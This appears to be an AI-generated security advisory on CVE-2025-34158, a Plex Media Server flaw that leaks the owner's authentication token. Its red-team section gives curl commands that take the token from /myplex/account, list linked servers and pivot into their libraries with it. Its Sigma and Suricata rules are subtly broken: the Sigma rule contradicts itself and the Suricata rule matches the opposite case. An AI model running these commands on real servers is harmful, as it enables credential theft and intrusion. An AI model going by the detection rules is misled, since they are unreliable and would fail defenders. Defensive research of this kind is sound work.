CVE-2025-34158

Executive Summary

CVE-2025-34158 is a critical information disclosure vulnerability in Plex Media Server (PMS) affecting versions 1.41.7.x through 1.42.0.x. The flaw resides in the incorrect resource transfer between security spheres, specifically within the /myplex/account endpoint. An unauthenticated attacker can exploit this to retrieve the credentials (authentication tokens) of the server owner. Furthermore, a subsequent call to /api/resources reveals other Plex servers accessible by that owner, effectively allowing an attacker to pivot across a victim's entire Plex ecosystem. The CVSS score of 8.5 reflects the high confidentiality impact and the network-based, low-complexity attack vector. No patch was available at the time of analysis, but the vendor has since released version 1.42.1 to address the issue.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a server-side application flaw in a proprietary media server. The risk is primarily to end-users and organizations running Plex Media Server on their internal or DMZ networks.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope (other servers).
• Confidentiality (C): High (H) - Complete disclosure of server owner credentials and linked server resources.
• Integrity (I): None (N) - No data modification.
• Availability (A): None (N) - No denial of service.

Threat Level: Critical. The low complexity and lack of authentication make this a prime target for automated scanning and mass exploitation. The ability to pivot to other servers amplifies the impact.

Deep Dive & Mechanics

The vulnerability is a classic case of Incorrect Resource Transfer Between Spheres (CWE-669). The Plex Media Server exposes two key API endpoints:

1. /myplex/account - Intended to provide account information for the currently authenticated user.
2. /api/resources - Intended to list resources (other Plex servers) accessible by the authenticated user.

The flaw is that the /myplex/account endpoint, when accessed without proper authentication context, returns the credentials (specifically the authToken) of the server owner, not the requesting user. This token is then used to authenticate to /api/resources, which returns a list of all other Plex servers that the server owner has access to.

Attack Flow:

1. Attacker sends a GET request to http://<target>:32400/myplex/account.
2. The server responds with a JSON object containing the server owner's authToken.
3. Attacker uses this token to call http://<target>:32400/api/resources?X-Plex-Token=<stolen_token>.
4. The response reveals a list of other Plex servers (IP addresses, ports, names) that the owner can access.
5. The attacker can now attempt to connect to those other servers, potentially gaining access to their media libraries and further pivoting.

Vulnerable vs. Patched Code

The vulnerability is in the server-side logic of the /myplex/account endpoint. The exact code is proprietary, but the fix involves ensuring that the endpoint returns credentials only for the authenticated user making the request, not the server owner.

Vulnerable Logic (Conceptual):

# Vulnerable: Returns server owner's token regardless of requester
@app.route('/myplex/account')
def get_account():
    # Missing or incorrect authentication check
    return jsonify({"authToken": server_owner_token, ...})

Patched Logic (Conceptual):

# Patched: Returns token only for the authenticated user
@app.route('/myplex/account')
def get_account():
    user_token = request.headers.get('X-Plex-Token')
    if not user_token:
        return jsonify({"error": "Authentication required"}), 401
    user = get_user_by_token(user_token)
    if not user:
        return jsonify({"error": "Invalid token"}), 401
    return jsonify({"authToken": user.token, ...})

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install a vulnerable version of Plex Media Server (e.g., 1.41.7) on a local VM (Ubuntu 22.04).
2. Ensure the server is accessible on port 32400.
3. Create a Plex account and log in to the server to generate a server owner token.

Exploitation Steps:

1. Reconnaissance: Scan for open port 32400 using Nmap.

   nmap -p 32400 <target_ip>
   

2. Token Extraction: Send a GET request to the vulnerable endpoint.

   curl -s http://<target_ip>:32400/myplex/account | jq .
   

   The response will contain the authToken field.
3. Resource Enumeration: Use the stolen token to list other servers.

   curl -s "http://<target_ip>:32400/api/resources?X-Plex-Token=<stolen_token>" | jq .
   

4. Pivot: Attempt to access the discovered servers using the same token.

   curl -s "http://<discovered_server_ip>:32400/library/sections" -H "X-Plex-Token: <stolen_token>"
   

Blue Team (Defensive)

Detection:

• Monitor for unusual requests to /myplex/account from external IPs.
• Alert on multiple rapid requests to /api/resources from the same IP.
• Look for X-Plex-Token headers being used across different IP addresses.

Honeypot:

• Deploy a fake Plex server on a non-standard port.
• Log all requests to /myplex/account and /api/resources.
• Analyze the source IPs and tokens used.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /myplex/account without a valid X-Plex-Token header.
  • HTTP GET requests to /api/resources with a token that was previously seen in a /myplex/account request from a different IP.
  • Outbound connections from the Plex server to other IPs on port 32400 (pivoting activity).
• File IOCs:
  • Unusual entries in Plex server logs (Plex Media Server.log) showing failed authentication attempts followed by successful resource enumeration.
• System IOCs:
  • Unexpected processes or scripts making HTTP requests to localhost:32400.

Detection Engineering

YARA Rule

rule Detect_Plex_Token_Theft {
    meta:
        description = "Detects attempts to exploit CVE-2025-34158 by looking for requests to /myplex/account without a token"
        author = "Valters IT"
        date = "2025-04-10"
        severity = "critical"
    strings:
        $endpoint = "/myplex/account"
        $no_token = "X-Plex-Token"
    condition:
        $endpoint and not $no_token
}

Sigma Rule

title: Plex Media Server Credential Theft via /myplex/account
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to the vulnerable /myplex/account endpoint without authentication.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: plex
detection:
    selection:
        cs-uri-query|contains: '/myplex/account'
        cs-headers|contains: 'X-Plex-Token'
    condition: selection and not cs-headers|contains: 'X-Plex-Token'
falsepositives:
    - Legitimate internal monitoring tools
level: critical

Suricata Rule

alert http any any -> any 32400 (msg:"CVE-2025-34158 Plex Media Server Credential Theft"; flow:to_server; content:"GET"; http_method; content:"/myplex/account"; http_uri; pcre:"/^X-Plex-Token\s*:/Hi"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Plex Media Server to version 1.42.1 or later immediately.
2. Network Segmentation: Place Plex servers in a separate VLAN with strict firewall rules. Do not expose them directly to the internet.
3. Access Control: If possible, restrict access to the Plex web interface to trusted IP addresses using a VPN or reverse proxy with authentication.

Long-Term Measures:

1. Monitor Logs: Enable detailed logging and monitor for the IOCs listed above.
2. Token Rotation: After patching, force all users to re-authenticate to invalidate any stolen tokens.
3. Vulnerability Scanning: Regularly scan for exposed Plex servers and ensure they are running the latest version.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.